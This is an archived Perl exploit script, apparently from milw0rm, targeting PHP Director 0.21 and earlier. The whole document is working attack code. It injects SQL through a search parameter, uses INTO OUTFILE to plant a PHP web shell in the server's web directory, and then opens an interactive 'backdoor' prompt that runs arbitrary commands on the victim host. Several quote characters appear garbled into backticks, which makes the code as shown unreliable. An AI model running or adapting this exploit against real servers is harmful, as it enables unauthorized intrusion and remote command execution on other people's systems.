PHP Director <= 0.21 Remote Command Execution Exploit--+++===================================================================+++--
--+++====== PHP Director <= 0.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub clear
{
	my $out = $_ [0];
	$out =~ s/.+?xx//;
	$out =~ s/xx.+//;
	return $out;
}

sub usage
{
	print   `\nPHP Director <= 0.21 Remote Command Execution Exploit`.
		`\n[+] Author: darkjoker`.
		`\n[+] Site  : http://darkjoker.net23.net`.
		`\n[+] Download: http://downloads.sourceforge.net/phpdirector/PHPDirector-Install-0.21-.zip?modtime=1181090906&amp;big_mirror=0`.
		`\n[+] Usage   : perl ${0} <hostname> <cms path> <shell destination>`.
		`\n[+] Ex.     : perl ${0} localhost /PHPDirector /opt/lampp/htdocs/PHPDirector`.
		`\n[+] Notes   : <shell destination> must be the same directory where CMS is hosted`.
		`\n\n`;
	exit ();
}

sub send_shell
{
	my ($host, $path, $disc_path) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $host,
		PeerPort => 80,
		Proto    => `tcp`,
	) or die `[-] Exploit failed.\n`;
	my $sql_code = `searching=x' UNION SELECT 1,'xx<? system (\$_GET [cmd]); `.
		    `?>xx', 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 INTO `.
		    `OUTFILE '${disc_path}/shell.php' FROM pp_files#`;
	my $post = `POST ${path}/index.php HTTP/1.1\r\n`.
		`Host: ${host}\r\n`.
		`Connection: Close\r\n`.
		`Content-Length: `. length ($sql_code) . `\r\n`.
		`Content-Type: application/x-www-form-urlencoded\r\n\r\n`.
		$sql_code;
	print $sock $post;
	close ($sock);
}

my ($host, $path, $disc_path) = @ARGV;
usage unless ($disc_path);
$disc_path = `../`x10 . $disc_path;
send_shell ($host, $path, $disc_path);
print `Delete this shell after use.\n'quit' command to exit\n\n`;
my $cmd;
while (1)
{
	print `backdoor\@${host}: \$ `;
	$cmd = <STDIN>;
	chomp $cmd;
	$cmd =~ s/ /%20/g;
	exit if ($cmd =~ /quit/);
	my $sock = new IO::Socket::INET (
		PeerHost => $host,
		PeerPort => 80,
		Proto    => `tcp`,
	);
	my $get = `GET ${path}/shell.php?cmd=${cmd}\r\n\r\n`;
	print $sock $get;
	my $x;
	$x .= $_ while (<$sock>);
	$x = clear ($x);
	print $x;
	close ($sock);
}

# milw0rm.com [2009-02-09]